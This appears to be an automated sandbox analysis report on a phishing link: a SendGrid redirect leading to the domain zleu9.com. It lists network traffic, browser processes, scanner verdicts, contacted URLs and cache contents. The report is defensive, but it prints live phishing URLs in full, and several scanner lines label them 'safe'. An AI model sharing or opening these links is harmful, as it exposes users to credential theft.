Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49826 version: TLS 1.2

Source: classification engine

Classification label: mal56.phis.win@20/89@32/14

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,18295829002547481321,4121505981409542590,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,18295829002547481321,4121505981409542590,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://recaptcha.net	0%	URL Reputation	safe
https://o5u7g.zleu9.com/pqp6GRMmyzxSSwx37	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/ghNa4wLQP2OPEa9yshBcpr4efS5s5gdiDgklu0B4xFFqbm5P1vQiCliLqsoef210	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/78OF5bqYVtW234tiXjpuv60	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/yzDWvxmd4z6t78IC8k0DdMqr41	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/opKtNEkOO9Dn5Z3ieoQTLGfaxj0rEuZ6stDscP1Mf9W3N2jRIwOg7b36f6kef240	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/eftMAJHTBnysRGQKrxyJ63mOX7yU8KOklytyEGBc4earPa90145	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/uheZ2JNUtohhkJJk2aSnqjTR382vFe5akZBa78xe	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/563KK3u3NwxxyErXHsR6720	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/56uBqa9ykEk4SXxAWkluwOlrHDLqhWH89110	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/uvrv0nvmDOsXHKV34pwPipAsKsHSlDlCvdeuw2pQxymnju5Vc2hvOQdNMRr6sQunMUef253	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/yz5PZPtwocgsIPZRmHcNESROmn19TJ53vuPbrfs9jTab175	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/xydUz5DTJCpqPef27	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/klq2ifsW0HfcmafJUxQT7Luk567iXAtDW7TwsAOhvh4nOXLFVLSfDuv211	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/favicon.ico	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/cdymTrOVgnRdYFmBC56gQ4sIcGIV3nkl100	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/23vPcUTsDItyMtMhkOGabvVduvoZpQHvw65	0%	Avira URL Cloud	safe
https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/nmWPBkGJrsuMPxdA2qSyaRhvPyg	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/O5u7Gw/?j	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/wxWSoCFL9zms6gSg3cOqXHoUWbqrInujjGZw2Rn6TuCvw2G12124	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/klyBe9NSOrY8ZijzQ3s7K3pEH9RWbxIXvopZVhYNMAY8ePNOIX2EwQcv1AjXiyHXEA9yz228	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/rsfAsqHuLsXFgw6UDvoIUuvHOsf7LZhZuT3HwX7S8quvaFmUD9N38UmiF476dNcd194	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/ijU31uim6UJs1J5Xbuowxt0mAFgOT9UCKlsOPRjhr78169	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false		high
code.jquery.com	151.101.66.137	true	false		high
d2vgu95hoyrpkh.cloudfront.net	13.226.210.111	true	false		high
part-0041.t-0009.t-msedge.net	13.107.246.69	true	false		unknown
challenges.cloudflare.com	104.17.2.184	true	false		high
www.google.com	142.250.141.103	true	false		high
prdia888eus0aks.mkt.dynamics.com	52.146.76.30	true	false		high
o5u7g.zleu9.com	172.67.143.205	true	false		unknown
u44056869.ct.sendgrid.net	167.89.115.54	true	false		high
public-usa.mkt.dynamics.com	unknown	unknown	false		high
assets-usa.mkt.dynamics.com	unknown	unknown	false		high
cdn.socket.io	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://o5u7g.zleu9.com/opKtNEkOO9Dn5Z3ieoQTLGfaxj0rEuZ6stDscP1Mf9W3N2jRIwOg7b36f6kef240	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/78OF5bqYVtW234tiXjpuv60	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8793fe7a3eb209f1/1713939697720/vu_lqyi6eyYTFKi	false		high
https://assets-usa.mkt.dynamics.com/favicon.ico	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd	false		high
https://o5u7g.zleu9.com/ghNa4wLQP2OPEa9yshBcpr4efS5s5gdiDgklu0B4xFFqbm5P1vQiCliLqsoef210	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/pqp6GRMmyzxSSwx37	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/yzDWvxmd4z6t78IC8k0DdMqr41	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/O5u7Gw/	false		unknown
https://o5u7g.zleu9.com/eftMAJHTBnysRGQKrxyJ63mOX7yU8KOklytyEGBc4earPa90145	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/uheZ2JNUtohhkJJk2aSnqjTR382vFe5akZBa78xe	false	Avira URL Cloud: safe	unknown
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206	false		high
https://a.nel.cloudflare.com/report/v4?s=5O5X6EfqLsJZozrSmIps6OCiBy71mqFGK58Z8g76jsnH3koVfMAUf%2Fz18OES8oq4qcGr1GoqPBnpZzIshA6Sg5mQ7Pa%2FUKg%2Fwhz0fWCyd5FR9%2BDUVnZAkrq5mwU%2BZw%3D%3D	false		high
https://www.google.com/recaptcha/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://o5u7g.zleu9.com/563KK3u3NwxxyErXHsR6720	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/56uBqa9ykEk4SXxAWkluwOlrHDLqhWH89110	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/uvrv0nvmDOsXHKV34pwPipAsKsHSlDlCvdeuw2pQxymnju5Vc2hvOQdNMRr6sQunMUef253	false	Avira URL Cloud: safe	unknown
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8793fe7a3eb209f1	false		high
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	false		high
https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D	false		high
https://o5u7g.zleu9.com/yz5PZPtwocgsIPZRmHcNESROmn19TJ53vuPbrfs9jTab175	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/xydUz5DTJCpqPef27	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV#	true		unknown
https://o5u7g.zleu9.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/klq2ifsW0HfcmafJUxQT7Luk567iXAtDW7TwsAOhvh4nOXLFVLSfDuv211	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8793fe7a3eb209f1/1713939697721/681e541e9a1a67d6e1315c07be63bcb685fe8bd723a5af625b1d726887b549f7/q8iZoGCUAv7fCGs	false		high
https://o5u7g.zleu9.com/cdymTrOVgnRdYFmBC56gQ4sIcGIV3nkl100	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/23vPcUTsDItyMtMhkOGabvVduvoZpQHvw65	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/nmWPBkGJrsuMPxdA2qSyaRhvPyg	false	Avira URL Cloud: safe	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	false		high
https://o5u7g.zleu9.com/O5u7Gw/?j	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/wxWSoCFL9zms6gSg3cOqXHoUWbqrInujjGZw2Rn6TuCvw2G12124	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=C%2F5Y20FLlb1C9qjojdfXxADbYVDagsxic45f0wa9gLbdQhHDnVbwLmpTIVkB%2BMSQ3tubvN2q9JnJiO7UMlcFehBcuzufmnYpEBEJTNndiMlgG4jA46yCoI79ThovIw%3D%3D	false		high
https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	false		high
https://o5u7g.zleu9.com/klyBe9NSOrY8ZijzQ3s7K3pEH9RWbxIXvopZVhYNMAY8ePNOIX2EwQcv1AjXiyHXEA9yz228	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/rsfAsqHuLsXFgw6UDvoIUuvHOsf7LZhZuT3HwX7S8quvaFmUD9N38UmiF476dNcd194	false	Avira URL Cloud: safe	unknown
https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits	false		high
https://o5u7g.zleu9.com/ijU31uim6UJs1J5Xbuowxt0mAFgOT9UCKlsOPRjhr78169	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_99.2.dr	false		high
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3	chromecache_100.2.dr	false		high
https://support.google.com/recaptcha#6262736	chromecache_99.2.dr	false		high
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ec	chromecache_105.2.dr, chromecache_76.2.dr, chromecache_107.2.dr	false		high
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_99.2.dr	false		high
https://cloud.google.com/contact	chromecache_99.2.dr	false		high
https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpagefo	chromecache_100.2.dr	false		high
https://support.google.com/recaptcha/#6175971	chromecache_99.2.dr	false		high
https://www.google.com/recaptcha/api2/	chromecache_92.2.dr, chromecache_99.2.dr	false		high
https://support.google.com/recaptcha	chromecache_99.2.dr	false		high
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_99.2.dr	false		high
https://recaptcha.net	chromecache_99.2.dr	false	URL Reputation: safe	unknown
https://www.apache.org/licenses/	chromecache_99.2.dr	false		high
https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.	chromecache_99.2.dr	false	Avira URL Cloud: safe	low
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_99.2.dr	false		high
https://O5u7G.zleu9.com/O5u7Gw/	chromecache_105.2.dr, chromecache_76.2.dr, chromecache_107.2.dr	false		unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_99.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_99.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
13.226.210.111	d2vgu95hoyrpkh.cloudfront.net	United States		16509	AMAZON-02US	false
13.107.246.69	part-0041.t-0009.t-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.146.76.30	prdia888eus0aks.mkt.dynamics.com	United States		8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
167.89.115.54	u44056869.ct.sendgrid.net	United States		11377	SENDGRIDUS	false
104.17.3.184	unknown	United States		13335	CLOUDFLARENETUS	false
13.107.213.69	unknown	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.143.205	o5u7g.zleu9.com	United States		13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
151.101.66.137	code.jquery.com	United States		54113	FASTLYUS	false
142.250.141.105	unknown	United States		15169	GOOGLEUS	false
142.250.141.103	www.google.com	United States		15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States		15169	GOOGLEUS	false
104.17.2.184	challenges.cloudflare.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430810
Start date and time:	2024-04-24 08:20:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@20/89@32/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 74.125.137.94, 142.251.2.100, 142.251.2.101, 142.251.2.113, 142.251.2.139, 142.251.2.102, 142.251.2.138, 142.251.2.84, 34.104.35.123, 192.229.211.108, 199.232.210.172, 142.251.2.94, 142.251.2.95, 74.125.137.95, 142.250.101.94, 74.125.137.138, 74.125.137.139, 74.125.137.102, 74.125.137.113, 74.125.137.100, 74.125.137.101
Excluded domains from analysis (whitelisted): clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, assets-mkt-usa.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, cxppusa1im4t7x7z5iubq.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, azureedge-t-prod.trafficmanager.net, cxppusa1formui01cdnsa01-endpoint.azureedge.net, clients.l.google.com, www.gstatic.com, assets-mkt-usa.afd.azureedge.net, cxppusa1formui01cdnsa01-endpoint.afd.azureedge.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 100

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	491
Entropy (8bit):	5.024081567111143
Encrypted:	false
SSDEEP:	12:s8OnG8//qvSid+oi2ZdGtnJJh6BAdexMAdb:QV/ivpd+opZdeJEAdexbb
MD5:	6526D644C0CA6D00CD44CB3AB2335DAB
SHA1:	7D979A1A6BEE5C11F55B84392DC7A66CD3B45AB7
SHA-256:	1B2F76CED97CD453A4F89F1EEC780A7E799AADFCFC58D414ABCA0CB74C14769A
SHA-512:	15DF0FD21541A87DE52825BD6C9BBD772A83A6CB2F6CEAD32123FEBDF144870DFF9439100FE3288A7E34B8009E6E1763AAA7DA0E6352C0859C638C45877B4051
Malicious:	false
Reputation:	low
URL:	https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288
Preview:	<div. data-form-id='845fbd3d-a401-ef11-a1fd-7c1e521c0288'. data-form-api-url='https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms'. data-cached-form-url='https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288' ></div>. <script src = 'https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js' ></script>

Chrome Cache Entry: 101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

